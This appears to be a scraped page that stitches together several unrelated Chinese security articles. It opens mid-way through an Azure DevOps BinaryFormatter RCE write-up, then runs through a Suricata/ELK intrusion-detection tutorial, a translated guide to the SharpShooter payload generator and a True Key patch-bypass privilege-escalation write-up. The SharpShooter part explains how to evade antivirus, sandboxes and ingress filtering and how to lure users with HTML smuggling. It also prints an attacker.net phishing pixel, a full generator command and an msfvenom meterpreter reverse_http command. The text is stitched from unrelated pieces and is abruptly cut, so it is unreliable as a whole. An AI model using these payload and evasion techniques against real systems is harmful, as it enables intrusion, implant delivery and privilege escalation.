接下来就是生成适用于`BinaryFormatter`的RCE payload。James
Forshaw在2017年描述过针对`BinaryFormatter`的`TypeConfuseDelegate` gadget，大家可以参考Project
Zero Team的博客了解更多内容。payload生成器的代码如下所示。
接下来将payload与不正确的Markdown字符串结合：
将结果保存成文件，commit到Git仓库，push到Azure DevOps Server
，然后……什么都没发生！`TFSJobAgent`并没有按照预期运行任何cmd命令。我做了一些调试，更深入分析代码，发现爬虫会验证来自Git的所有文件，只为文本文件创建索引。这一点很正常，但很有可能导致我们无法利用成功。然而，代码又再次让我大吃一惊。爬虫使用了`FileTypeUtil::DetermineEncoding`方法，根据内容的前几个字节来“猜测”内容的Unicode编码。这些逻辑发生在payload
push之前。
让我们研究一下经过`BinaryFormatter`序列化后的数据头，微软在[官方文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5)中描述了这个格式。经过`BinaryFormatter`序列化后的数据流的第一个字节必须为`0`，接下来`4`个字节为`RootId`，默认情况下等于整数类型的`1`。`FileTypeUtil::DetermineEncoding`方法只有一个允许的头部，从`0`偏移处开始，为`0x0000FEFF`。因此，我们可以将头部中的`RootId`及序列化后的数据改为`0x00FEFF00`。如下代码会在添加不正确的Markdown字符串之前执行该操作：
将结果存储到文件中，再次push到Azure DevOps
Server。我在[演示视频](https://youtu.be/0CesLbpnASA)中记录了攻击过程，攻击者只需要能够访问Git仓库，就能实现RCE效果。
## 0x03 总结
微软已经修复了CVE-2019-1306，用户需要为Azure DevOps
Server打上[补丁](https://devblogs.microsoft.com/devops/september-patches-for-azure-devops-server-and-team-foundation-server/)。需要注意的是，Windows的自动更新中并没有包含该补丁，我们需要手动安装补丁。开发者可以在`BinaryFormatter`配置中添加自定义[SerializationBinder](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.serializationbinder)，只允许反序列化已知类型的数据，这也是反序列化不可信数据的最佳实践。即使我们认为面对的是可信的数据，我们也应当为不安全的序列化类应用相同的防御方法。从本文中大家可知，现代复杂系统的内部实现非常复杂，虽然内部索引看上去比较可信，是经过解析及验证后的数据，但攻击者仍然可以找到利用路径。 | 社区文章 |
# 【技术分享】企业级入侵检测系统及实时告警的开源实现
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **qingxp9**](http://bobao.360.cn/member/contribute?uid=46273947)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
本文以构建一套完整的入侵检测系统为目的，配合使用多款开源软件快速搭建起包含流量监控、攻击溯源、实时告警等功能的框架。其中告警能高度自由定制，不再局限于传统的Web页面告警，邮件告警。文中，会提供两个例子来帮助大家理解如何去配置告警任务。
**1\. 入侵行为识别**
入侵检测有着使用许多开源的IDS，这里我们以Suricata为例。Suricata是一个高性能的网络IDS，IPS和网络安全监控引擎，它可以兼容snort规则同时是多线程的IDS，我们通过官方提供的文档快速安装上。
<https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Quick_Start_Guide>
安装完成后，在/etc/suricata/suricata.yaml 配置下：
在15行设置 HOME_NET为本机ip或所在段，是监控的目标网域
在217行把“- flow”注释掉 ，以免数据过多
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
运行后我们将会在 /var/log/suricata/eve.json 文件中得到JSON格式的IDS日志。
**2\. 日志平台**
为了便于后续的攻击日志分析，自然需要对数据进行入库方便我们查询。IDS大都部署在网关上，数据量非常客观，对于日志信息的大数据处理，目前最流行的便是ELK
Stack。
Logstash：负责日志的收集，处理和储存
Elasticsearch：负责日志检索和分析
Kibana：负责日志的可视化
写本文时，ELK Stack已经更新了5.0正式版，统一了elasticsearch，logstash，kibana间版本命名问题，同时对Shield,
Watcher, Marvel,Graph几个扩展插件经行了封装打包，形成了X-PACK。
安装过程同样略过，在完成ELK及X-PACK的安装后，启动服务：
systemctl start elasticsearch.service
systemctl start kibana.service
注意:安装X-PACK后，elasticsearch和kibana将会开启用户验证，默认用户elastic密码changeme
在/etc/kibana/kibana.yml中需要配置账号并重启kibana服务：
elasticsearch.username: “elastic”
elasticsearch.password: “changeme”
在服务启动后，通过Logstash对IDS的日志文件进行分析处理，并将数据打入es存储。
新建配置文件/etc/logstash/conf.d/test.conf，键入以下内容：
input {
file {
path => "/var/log/suricata/eve.json"
type => "attack"
}
}
filter {
if [type] == "attack" {
json{
source => "message"
}
}
}
output {
if [type] == "attack"{
elasticsearch {
hosts => ["localhost:9200"]
user => elastic
password => changeme
}
}
}
随后启动Logstash服务：
systemctl start logstash.service
Kibana便是我们的攻击溯源平台，打开Kibana的Web页面 <http://localhost:5601>
可以看到我们的IDS日志已经被结构化的存储在其中，利用检索功能可以快捷且准确的定位到相关日志内容。
比如，可以直接输入“nmap”进行模糊搜索，也可以通过字段匹配语法进行精确匹配“dest_port:80 AND event_type:alert”
以上通过 Suricata 和 ELK Stack
便快速搭建了一套简易但高效的入侵检测溯源系统，使用ELK的优势在于几乎不需要设置便能保证在非常大数据量下的查询速率。而日志的完整性取决于 Suricata
中 攻击识别规则的丰富性，通过官方提供的 snort 规则目前是可以识别常见的流量信息及攻击流量。
**3\. 高定制化的实时告警**
包括很多商业IDS在内做的不好的便是实时告警这一块，有的通过Web页面提供告警，做得好一点则能配置邮件告警。但在我实际的使用中发现，告警策略其实更与系统使用者密切联系，而开发厂商很难能提供周密完善的配置选项，所以一个能高度定制化的告警系统是我们想要的。
ElasticSearch 的 API 接口为我们提供了这种可能，其查询返回的 JSON 格式也非常便于我们进行查询数据的处理。官方提供的 X-PACK
扩展包中便包含了可以提供告警功能的 Watcher 扩展插件。
这里简单介绍下Watcher的配置方法：
PUT _xpack/watcher/watch/xxxx_name
{
"trigger" : { "schedule" : { "interval" : "10s" }},
"input" : {},
"condition" : {"compare" : { "ctx.payload.hits.total" : { "gt" : 0 }}},
"actions" : {}
}
指定一个告警任务，需要配置4个模块：Trigger、Input、Condition、ACTIONS
**Trigger**
Trigger控制如何触发一次查询，可以设置间隔时间
每隔10s触发
"trigger" : {
"schedule" : { "interval" : "10s" }
}
也支持大家熟悉的cron格式
每天9:05触发
"trigger" :{
"schedule" : {"cron" : "0 5 9 * * ?"}
}
**Input**
Input 负责数据的来源，支持以下四个input类型
simple: 读取静态内容
search: 读取查询语句执行后的返回结果
http: 读取HTTP请求的返回结果
chain: 用来自由组合使用上面三种类型组成的多个input
以search为例举个例子
查询“logs”索引，匹配message字段为error的数据
"input" : {
"search" : {
"request" : {
"indices" : [ "logs" ],
"body" : {
"query" : {
"match" : { "message": "error" }
}
}
}
}
}
**Condition**
condition决定之后的ACTION是否执行
当查询数量大于0时执行ACTION
"input" : {
"search" : {
"request" : {
"indices" : [ "logs" ],
"body" : {
"query" : {
"match" : { "message": "error" }
}
}
}
}
},
"condition" : {
"compare" : { "ctx.payload.hits.total" : { "gt" : 0 }}
}
**Action**
当条件符合后，ACTION决定执行的操作即信息内容及发送的对象。
支持email, webhook, index, logging, hipchat, Slack, 和 pagerduty
发送POST到 xxx.com:123/path ，内容为json字串 {"a":"b","total":xxx}
"actions" : {
"xxx_webhook_name" : {
"webhook" : {
"method" : "POST",
"host" : "xxx.com",
"port" : 123,
"path": ":/path",
"body" : "{
"a": "b'",
"total": "{{ctx.payload.hits.total}}"
}"
}
}
}
利用webhook可以向任意Web服务发送请求，这是我们想要的。通过这个接口非常便于与企业内的其他已有平台进行交互，或者可以通过如今流行的IM公众号。
这里以蓝信为例，需要先请求获取一个token，然后发送JSON字串到API即可，其中JSON字串的内容为：
了解了基础的Watcher配置方法和蓝信接口后，我们来制作告警任务。拟一个目标：在每天9、14、18点查询当日日志数量，日志类型的统计，来源IP统计。
PUT _xpack/watcher/watch/attack_alert
{
"trigger" :{"schedule" : {"cron" : "0 0 9,14,18 * * ?"}},
"input": {
"chain": {
"inputs": [
##发送HTTP请求到蓝信获取token
{
"first": {
"http" :{
"request": {
"host": "lxopen.api.xxx.com","port": 80,
"path": "/ffff/token",
"params": {"grant_type":"client_credential","appid":"12345","secret":"abcde"}
}
}
}
},
##进行查询得到目标结果
{
"all": {
"search": {
"request": {
"indices": "<logstash-{now/d}>",
"body": {
"query": {
"bool": {
"must": {"match_all": {}}
}
},
"aggs" : {
"ip_list" : {
"terms" : { "field" : "src_ip.keyword" }
},
"type_list" : {
"terms" : { "field" : "event_type.keyword" }
}
}
}
}
}
}
}
]
}
},
##只要数量大于0就执行ACTION
"condition" :{
"compare" : {"ctx.payload.all.hits.total": {"gt": 0}}
},
"actions": {
"attack_alert" : {
"throttle_period" : "600s", //每两次告警间的最小时间间隔
"webhook" : {
"method" : "POST",
"headers": {"Content-type": "application/json"},
"host" : "lxopen.api.xxx.com",
"port" : 80,
"path" :"/xxxx/message/send",
"params" : {"access_token" : "{{ctx.payload.first.access_token}}"}, //传入前面获取到的 token
#构造我们的文本消息
"body" : "{"toall": "true","tousers": ["180******0"],"msgtype": "text","text": {"content": "=======Total {{ctx.payload.all.hits.total}}\n{{#ctx.payload.all.aggregations.type_list.buckets}}{{key}} {{doc_count}}\n{{/ctx.payload.all.aggregations.type_list.buckets}}\n=======Src IP\n{{#ctx.payload.all.aggregations.ip_list.buckets}}{{key}} {{doc_count}}\n{{/ctx.payload.all.aggregations.ip_list.buckets}}"}}"
}
}
}
}
创建成功后，蓝信客户端就可以每天定时收到当天的日志统计报告了。
只需要改下接口，也可以同时发送到其他如微信等平台上。
第二个例子，来个干货。
针对敏感操作的日志记录。对于敏感或者储存重要数据的服务器，如果发生了入侵事件我们可以通过命令记录来查看黑客入侵的方式，但有经验的入侵者往往会删去这些记录。为了防止这一点，我们有必要对命令历史记录做一个增强，让它能较完整的记录命令相关信息（时间、命令、登录用户、当前用户等），同时能实时将日志回传到es。
在/etc/bash.bashrc行末加入以下内容：
HISTDIR='/var/log/command.log'
if [ ! -f $HISTDIR ];then
touch $HISTDIR
chmod 666 $HISTDIR
fi
export HISTTIMEFORMAT="{"TIME":"%F %T","HOSTNAME":"$HOSTNAME","LI":"$(who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g')","LU":"$(who am i|awk '{print $1}')","NU":"${USER}","CMD":""
export PROMPT_COMMAND='history 1|tail -1|sed "s/^[ ]+[0-9]+ //"|sed "s/$/"}/">> /var/log/command.log'
执行 source /etc/bash.bashrc，就可以在/var/log/command.log看到日志
JSON类型的日志，通过logstash中配置日志回传：
input {
...
file {
path => "/var/log/command.json"
type => "cmd"
}
...
}
filter {
...
if [type] == "cmd" {
json{
source => "message"
}
}
...
}
output {
if [type] == "attack" or [type] == "cmd"{
elasticsearch {
hosts => ["localhost:9200"]
user => elastic
password => changeme
}
}
}
这样ES就会实时收集主机的shell日志了。
最后完善下告警任务，在Input里加入：
{
"cmd": {
"search": {
"request": {
"indices": "<logstash-{now/d}>",
"types" : "cmd",
"body": {
"query": {
"bool": {
"must": {"match_all": {}}
}
}
}
}
}
}
}
在告警内容里面添加：
\n=======CMD\n{{#ctx.payload.cmd.hits.hits}}{{HOSTNAME}} {{LI}}:{{CMD}}\n{{/ctx.payload.cmd.hits.hits}}
效果预览像这样：
一旦服务器上有操作产生，我们便能立马得到通知，进行应急响应。
最后
对于告警，我想说的是一定要记得：满篇的告警是不会有人去看的。重点过多也就没有重点了，告警一定要精而不要多，只针对一些关键的异常告警往往能事半功倍。
**参考链接**
蓝信开放平台 <https://docs.lanxin.cn/>
Getting Started with Watcher
<https://www.elastic.co/guide/en/x-pack/current/watcher-getting-started.html>
Suricata IDS <https://suricata-ids.org/> | 社区文章 |
# 如何使用SharpShooter生成Payload
|
##### 译文声明
本文是翻译文章，文章原作者 Admin，文章来源：www.mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在模拟攻击中，找到入手点往往是最复杂和最耗费时间的一项工作。通常，我们需要花费较多时间来针对不同操作系统、体系结构、终端检测与响应（EDR）方法、反病毒方案和沙箱解决方案来创建并测试Payload。在许多防护方案中，都越加关注和注意PowerShell，因此我们就不能再一味地坚持PowerShell，而是应该研究并尝试其它技术，以便更好地进入内存，同时避开终端防御。基于上述考虑，我们开发了一款名为SharpShooter的内部Payload生成框架。在测试中，我们发现该框架非常有效，随后我们决定将这一工具公开发布。
2017年7月，我们讨论过如何使用James
Forshaw开发的DotNetToJScript实现以Windows脚本格式执行Shellcode的方法，并发布了CACTUSTORCH工具。该工具实质上是概念验证（PoC），能够高效地进行签名，但我们并不推荐在实际模拟中使用该工具。然而，正是这一概念，为我们今天发布的其中一个工具提供了启发。
SharpShooter是武器化的Payload生成框架，支持反沙箱分析、分阶段和无阶段的Payload执行，并能够规避入口监测。SharpShooter提供了一个框架，可以创建以下Windows格式的Payload：
* HTA
* JS
* JSE
* VBA
* VBE
* VBS
* WSF
创建的Payload可用于检索、编译和执行任意C#源代码。SharpShooter的Payload使用随机密钥进行RC4加密，从而逃避一些反病毒产品的检测。同时，该产品具有集成沙箱检测和环境密钥的功能，以进一步逃避检测。SharpShooter的目标为.NET框架的v2、v3和v4版本，涵盖了大部分Windows工作站的终端用户。
除了传统的反病毒软件，SharpShooter已经成功绕过了诸如Palo Alto Traps和Bromium Isolation
Analysis等产品的“高级终端保护”功能。
SharpSHooter绕过Palo Alto Traps以运行一个meterpreter
Shell的视频请参见：<https://vimeo.com/249569439>
在后文中，我们会针对该工具的各种功能进行说明。
## 分阶段和无阶段执行
SharpSHooter支持分阶段（Staged）和无阶段（Shageless）Payload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输，或者两者同时使用。当分阶段Payload被执行时，会尝试检索已经压缩的C#源代码文件，然后使用所选择的方式进行Base64编码。随后，借助.NET
CodeDom编译器，将C#源代码下载，并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤：
分阶段的关键优势在于，它能够在发生故障时更改执行的Payload，并能在成功攻击后隐藏相应植入文件，从而阻碍蓝方（防守方）的调查取证。
DNS传递方式需要借助PowerDNS工具实现，我们在此前的文章中曾经详细介绍过（
<https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/>
）。而Web传递方式需要使用-web命令行参数，以特定的URL来执行Web请求。
CodeDom是其实现可扩展性的关键所在，多年来我们一直将其用于模拟攻击之中，例如可以规避反病毒检测。但推特账户[@buffaloverflow](https://github.com/buffaloverflow
"@buffaloverflow")发文指出，该工具最近也在被在野恶意攻击者利用：
使用CodeDom的优势之一在于，它可以灵活地创建Payload，不仅仅能进行ShellCode执行，同时还可以执行任意C#。因此，如果我们想要创建一个可以执行Mimikatz或Process
Doppelgänging的VBS文件，借助该工具是可以实现的。
SharpShooter提供了一个内置的模板，可以用于执行分阶段或无阶段的任意Shellcode。
## 沙箱检测
SharpShooter提供了一些基本的方法，来检测Payload是否在沙箱内执行。除了域密钥技术之外，这些技术都来源于Brandon
Arvanaghi的CheckPlease项目。
如果满足沙箱检测技术中指定的条件，那么Payload将不会执行。具体来说，使用了下面的一些技术：
域密钥：Payload只能在特定域上执行；
确保加入到域中：仅当工作站加入域时，才会执行Payload；
检查沙箱组件：Payload将会搜索文件系统，寻找已知的沙箱技术和虚拟化系统组件，一旦找到，Payload就不会执行；
检查错误的MAC地址：Payload将检查系统的MAC地址，如果地址中标识供应商的部分与已知虚拟化软件相匹配，那么就不会执行Payload；
检查调试过程：如果Payload正在调试，则不会执行。
如果需要使用上述技术创建Payload，请使用-sandbox参数，然后使用逗号来分隔相应的技术，例如：–sandbox 1=CONTOSO,2,3。
## 入口监控的逃避
通常，防御者会通过在周边代理/网关上使用扩展并针对内容类型或具体内容进行过滤的方式，防止潜在的恶意文件进入网络环境。但是，Rich
Warren记录了一个逃避此类检查的强大解决方案，会对Payload进行加密，并将其嵌入到HTML文件中。随后，Payload在客户端中使用JavaScript进行解密。因此，在监控中就只能看到一个带有text/html内容类型的HTML文件。
在SharpShooter中，可以选择使用此技术来嵌入其有效载荷，同时工具还提供了两个样本模板以供参考和使用。在这一方面，SharpShooter参考了[@Arno0x0x](https://github.com/Arno0x0x
"@Arno0x0x")的EmbedInHTML工具。
要创建使用HTML隐藏的Payload，请使用-smuggle和-templete参数来选择模板，例如：–smuggle –template mcafee。
## SharpShooter的示例
当我们的ActiveBreach团队进行攻防模拟时，我们会进行大量的侦察活动。其原因在于，如果我们能全面地掌握目标环境，将会为我们后面的步骤带来大量收益，特别是在创建Payload方面。为了增加SharpShooter在执行Shellcode时的成功几率，我们必须要知道两个目标：目标的架构和目标的.NET版本。幸运的是，这两个信息可以轻松找到。
在针对目标进行调查的过程中，我们通常会尽可能多地掌握客户端软件的版本信息，以便在实验室环境内进行复现。为了达到这一目的，一种策略就是通过良性网络钓鱼。具体来说，我们的网络钓鱼电子邮件中并不包含任何特定的Payload，但会将架构信息反馈给我们。其中一种方法是通过外部托管的图像，例如在HTML中可以包含以下内容，这样目标用户的邮件客户端就会对图像进行下载：
<img src=“http://attacker.net/logo.png?uid=1234” />
以Outlook为例，这样就会导致以下内容的User-Agent被发送到服务器：
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.6366; ms-office; MSOffice 16)
在上述信息中，包含了一些关键信息，其中最重要的是目标使用了64位操作系统和32位的Microsoft Office，并且安装了.NET CLR。
同样，我们也可能会通过社会工程学，让用户访问我们的网站，从而从用户的浏览器中获取到相同的信息，如下面的示例所示，他使用的是Windows 8.1
x64主机：
Mozilla/5.0 (Windows NT 6.3; Win64, x64; Touch) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0 (Touch; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; H9P; InfoPath
如果我们想要创建一个能执行任意Shellcode的Payload，那么这个信息就特别有用。由于mshta.exe是一个32位二进制文件，所以HTA文件只能使用32位，但除此之外，我们应该始终在64位系统上使用64位的Shellcode。
在可能的情况下，我们也要在不违反规则的情况下尽可能多地获得关于内部Active
Directory的信息。其中，常见的策略包括检查邮件头部中的来源，以发现其完全限定域名（FQDN）。
例如，邮件头部中可能会包含类似于如下的内容：
Received: from EXH004.contoso.com (unknown [10.1.1.1])
by smtp.localdomain (Service) with ESMTP id 43BD1114402;
Tue, 27 Feb 2018 13:38:33 +0000 (GMT)
通过该内容，我们知道了内部域名是contoso.com。
同样，如果我们将目标变为Skype业务服务器，我们可以从X-MS-Server-Fqdn标头中找到域名，如下所示：
X-MS-Server-Fqdn: S4BLYNC.contoso.com
在掌握了这些信息之后，我们可以开始制作一个SharpShooter的Payload，这个Payload与我们的目标环境有关——除非它在CONTOSO的成员系统上运行，否则就不会执行。
如果我们想要创建一个JavaScript的Payload，它将会通过DNS和Web的方式来传递C#
Payload，我们可能会使用下述类似于命令行选项的内容：
SharpShooter.py --payload js --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 2
该配置将会使用-sandbox
1=contoso参数，将我们的Payload锁定到CONTOSO域。目标环境支持3.5及以上版本的.NET，因此我们可以使用-dotnetver
2参数来指定.NET版本，从而有效提高Payload的成功概率。
在上面的例子中，Shellcode是从csharpsc.txt文件中读取的。如果我们想执行符合Cobalt
Strike的beacon或者Metasploit的Shellcode，可以通过在Cobalt Strike中选择“Packages > Payload
Generator > Output C#”，或者使用以下msfvnom命令来生成该代码：
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=x.x.x.x LPORT=80 EnableStageEncoding=True PrependMigrate=True -f csharp
在Shellcode文件中应该只包含原始字节，不包括变量定义。例如，byte[] buf = new byte[999] { 0x01, 0x02,
0x03 …意味着Shellcode文件中只包含0x01、0x02和0x03。
上述命令的结果如下所示：
SharpShooter将会在输出目录中创建foo.html、foo.js和foo.payload这三个单独的文件。这些文件的简要说明如下：
foo.js是用户最终执行的JavaScript
Payload。它包含一个Base64编码的RC4加密Blob，会在内存中解密后执行。解密的Payload是包含SharpShooter
.NET序列化对象的DotNetToJScript代码。如果您使用的是HTML Smuggling，则该文件不需要发送给用户，只是为了提供信息和进行调试。
foo.html是HTML文件，我们需要通过各种手段来诱使最终用户打开。该文件包含foo.js的加密副本，该副本需要使用JavaScript解密，然后借助navigator.mssaveBlob技术提供给用户。
foo.payload是在目标主机上检索、编译和执行的C#源代码。该文件包含一个用于执行所提供Shellcode的Harness。源代码文件首先被压缩，然后进行Base64编码。根据提供的命令行参数，该文件应该位于URL
[http://www.foo.bar/shellcode.payload和运行PowerDNS的foo.bar域中。](http://www.foo.bar/shellcode.payload%E5%92%8C%E8%BF%90%E8%A1%8CPowerDNS%E7%9A%84foo.bar%E5%9F%9F%E4%B8%AD%E3%80%82)
foo.html文件是我们最终通过电子邮件附件发送给用户的，我们也可以通过钓鱼链接的方式让用户点击。此前，我们选择的是McAfee模板，所以用户将看到类似于如下的内容：
如果用户点击打开JavaScript文件，则Shellcode将会被执行。
下面是一个用于检索Cobalt Strike信标的端到端Payload执行视频：<https://vimeo.com/258855822>
## 检测
作为一个优秀的红方成员，我们必须对自己的工具和目标的攻击向量有充分了解。这不仅能帮助我们向蓝队及客户提供更好的建议，还能帮助我们构建出更优秀的工具。
在开发SharpShooter的过程中，我们非常希望了解在主机上创建了哪些攻击向量。其中最让我们惊讶的是.NET
CodeDom的工作方式。在尝试使用该技术的过程中，我们也在研究如何将源代码编译到内存中。这也是我们选择该工具的主要原因之一，因为我们非常希望能在模拟攻击过程中将代码存储在目标主机的内存中。
当创建一个新的CodeDom时，需要提供编译参数，其中之一就是布尔型CompilerParameters.GenerateInMemory属性，该属性在SharpShooter中设置为True。然而，我们在监视流程执行的过程中，意识到了我们对该属性产生了错误的理解。实际情况下，在执行WScript.exe或类似的脚本引擎时，它会执行与.NET框架捆绑在一起的csc.exe编译器：
这就意味着，C#源代码被保存到用户磁盘上的Temp文件夹内。随后编译器在命令行中执行，从磁盘文件中读取参数：
因此，保障源代码的签名不被反病毒产品掌握非常关键，当然这只是其中之一。
无阶段的Shellcode执行并不会留下这些指标，因为它不是用CodeDom。序列化的.NET对象会直接执行Shellcode。
您可以从MDSec ActiveBreach github页面（
<https://github.com/mdsecactivebreach/SharpShooter> ）下载SharpShooter，本文由Dominic
Chell撰写。 | 社区文章 |
# TRUE KEY: 错误补丁的故事并不少见
原文地址：<https://blog.exodusintel.com/2018/09/10/truekey-the-not-so-uncommon-story-of-a-failed-patch/>
### 前言
* * *
在这篇博文中，我们将研究供应商提供的补丁[CVE-2018-6661](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6661)。该漏洞最初在2017年6月向Intel
Security（McAfee）报告，并于2018年4月公开披露。此外，我们还联系了McAfee，了解在本文中讨论2018年8月的问题。
贡献者：Omar El-Domeiri和Gaurav Baruah
在Exodus，进行n天漏洞研究时，我们经常遇到失败的补丁或发现相邻的0-day漏洞。在2018年，我们的团队已经确定了24个公开披露的漏洞，据报道这些漏洞已经被修补，但事实上，由于补丁没有解决根本原因，这些漏洞仍然很脆弱。即使他们密切关注着软件更新和安全建议，失败的补丁仍会让用户处于危险之中。
供应商提供的补丁可能无法提高软件安全性的原因有很多。在某些情况下，一个补丁实际上可能会增加攻击面，从而引入新的漏洞。而在其他情况下，补丁可能不完整，留下了可以绕过补丁并触发易受攻击的代码的途径。通常，不完整的补丁是供应商在没有解决根本原因的情况下，专门为他们从披露中获得的PoC的结果。在[CVE-2018-6661](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6661)的案例中，我们发现了一个不完整的补丁，它为攻击者提供了多种绕过补丁的方式。
### 概要
* * *
尽管有多个供应商提供的补丁，但Intel安全([McAfee](https://service.mcafee.com/webcenter/portal/oracle/webcenter/page/scopedMD/s55728c97_466d_4ddb_952d_05484ea932c6/Page29.jspx?wc.contextURL=%2Fspaces%2Fcp&articleId=TS102801&_afrLoop=1835023614269508&leftWidth=0%25&showFooter=false&showHeader=false&rightWidth=0%25¢erWidth=100%25#!%40%40%3FshowFooter%3Dfalse%26_afrLoop%3D1835023614269508%26articleId%3DTS102801%26leftWidth%3D0%2525%26showHeader%3Dfalse%26wc.contextURL%3D%252Fspaces%252Fcp%26rightWidth%3D0%2525%26centerWidth%3D100%2525%26_adf.ctrl-state%3D6c4ct0iic_9))True Key软件的公开漏洞仍然是可以利用的。任何登录用户（包括Guest帐户）都可以向True
Key服务发送一系列精心设计的请求，以通过DLL端加载攻击途径执行任意代码。因此，没有特权的用户可以在任何安装了True
Key的Windows机器上升级特权到NT 授权\系统。
### 背景
[True Key](https://www.truekey.com/zh-CN)
是一个密码管理器，支持多种登录方式，包括面部和指纹，电子邮件，主密码或使用可信设备。Windows，Mac OS
X，Android和iOS设备可以免费使用，但需要订阅后才能存储超过15个密码。目前，True Key还与Adobe
Flash捆绑在一起，并要求用户在安装过程中选择退出。
当在Windows上安装True
Key时，它包括一个始终运行的服务，在loopback接口127.0.0.1上监听TCP30000端口，该接口使用系统特权运行。该服务通过提供RPC机制来协调True
Key软件的各个组件的功能。对于此漏洞，我们特别感兴趣的是SecureExecuteRPC方法，该方法启动McAfee信任的可执行文件，其中信任通过数字签名进行验证。
### 补丁
通过检查供应商的补丁，我们可以看到补丁只解决了McAfee.TrueKey.Sync中的问题，并且仅适用于它的一个DLL依赖项，也就是McAfee.TrueKey.SDKLibAdapter导入。
当. net运行时将动态加载程序所需的DLL依赖关系。我们可以通过顶部的导入来确定直接依赖关系。由于Windows按照微软文档中讲述的指定顺序来搜索DLL，
因此可以在同一文件夹中提供已修改的DLL，以便将其导入。需要注意的是，系统导入包含在已知的DLL列表中，攻击者不能以这种方式使用系统导入。
该修补程序强制必须在C：\ Program Files \ TrueKey文件夹（更新版本中的C：\ Program Files \ McAfee \
TrueKey）中找到SDKLibAdapter库，这些文件夹无法由非特权用户写入。但是，该二进制文件也导入了NLog日志记录库，并且不为对应的DLL强制执行路径约束。因为它忽略了补丁是不完整的，因此可以利用nlog.dll来允许任意代码执行，就像McAfee.TrueKey.SDKLibAdapter.dll可以在补丁之前的版本中使用一样。此外，只要二进制文件依赖于已知DLL列表之外的DLL，任何其他McAfee签名的二进制文件都可用于利用此漏洞。有多种方法可以[找到DLL依赖项](https://stackoverflow.com/questions/7378959/how-to-check-for-dll-dependency)。
### 逆向True Key
在检查反编译的TrueKey服务二进制文件时，很明显它是基于Apache Thrift的服务。
> `Thrift是Facebook开发的一个软件库和一组代码生成工具，可以加速开发和实现高效，可扩展的`
>
> `后端服务。它的主要目标是通过将每一种语言中最需要自定义的部分抽象到用每种语言实现的公共`
>
> `库中，从而实现跨编程语言的高效和可靠通信。特别地，Thrift允许开发人员在一个语言无关的`
>
> `文件中定义数据类型和服务接口，并生成构建RPC客户机和服务器所需的所有代码。`
检查由thrift为SecureExecute命令自动生成的代码，我们可以将这种请求所需的数据类型收集到服务中。
从这段代码中，我们应该为RPC服务的子集创建自己的thrift文件，这对于开发是必要的。
SecureExecute函数有两个参数——一个32位整数clientId和一个指定要运行的可执行文件路径的字符串。在执行RPC请求之前，服务会验证client
id是否与先前已发出的已知值匹配。
SecureExecute
API请求的处理程序将创建一个SecureExecuteCommand对象，将其封装在CheckedCommand对象中并将其传递给runner.Sync（）函数，该函数将调用CheckedCommand对象的Execute（）函数。CheckedCommand验证请求中提供的client
id是否与服务已发布的现有ClientId匹配。如果是，则它调用包装对象的Execute（）函数，该对象在此实例中是SecureExecuteCommand对象。
SecureExecuteCommand.Execute（）将检查所请求的可执行文件，以确保在生成运行可执行文件的子进程之前，该文件已经由McAfee进行了数字签名。
因此，为了让服务执行一个二进制文件，我们必须为它提供一个有效的client id，并且这个二进制文件必须由McAfee签名。client
ids是通过RegisterClient方法发布的，该方法的唯一参数由一个可以包含任意数量的可选字段的YAPClient
struct组成。在注册时，服务通过检查YAPClient结构中的端口字段来验证客户端是否是受信任的客户端。端口字段用于查找该端口上监听的相应PID，然后服务检查与该PID相关联的可执行文件是否已由McAfee数字签名。
### 开发
为了利用此漏洞，我们需要向True
Key服务发送SecureExecute请求，请求它在包含已修改的nlog.dll的文件夹中执行McAfee.TrueKey.Sync.exe。有很多应用程序可用，例如dnSpy，用于直接修改已编译的.
net可执行文件或DLL。由于McAfee.TrueKey.Sync.exe调用GetCurrentClassLogger（）函数，因此我们修改此函数来启动子进程，该进程在同一文件夹中执行包含payload的文件。
即使我们的修改不满足函数的类型签名，这个漏洞也会按照预期的方式运行。Process.Start（）的返回值不是Logger对象，如果进一步使用这个方法返回的值，可能会引发错误，但如果执行了这段代码，我们就可以利用运行payload的子进程来获得升级后的特权。
最初，我们向True Key服务发送RegisterClient请求以获得有效的client
id。因为我们知道服务本身监听30000端口，所以我们的RegisterClient请求为YAPClient
结构中的端口字段指定该值。实际上，服务将验证它相信自己是一个有效的客户端，并使用新的client id进行响应。
当有了一个有效的client id，我们就发送一个带有这个client
id的SecureExecute请求，并在包含我们修改过的nlog.dll的文件夹中发送一个指向我们的McAfee.TrueKey.Sync.exe副本的executablePath（可执行路径）。.
net运行时将加载我们修改的nlog.dll，当GetCurrentClassLogger()函数被调用时，将执行pop.exe 。
我们已经将该漏洞编写为metasploit模块，下面的视频地址是一个简单的演示
#### [视频播放地址](https://youtu.be/NTGmyCt1SdU)
### 侦查
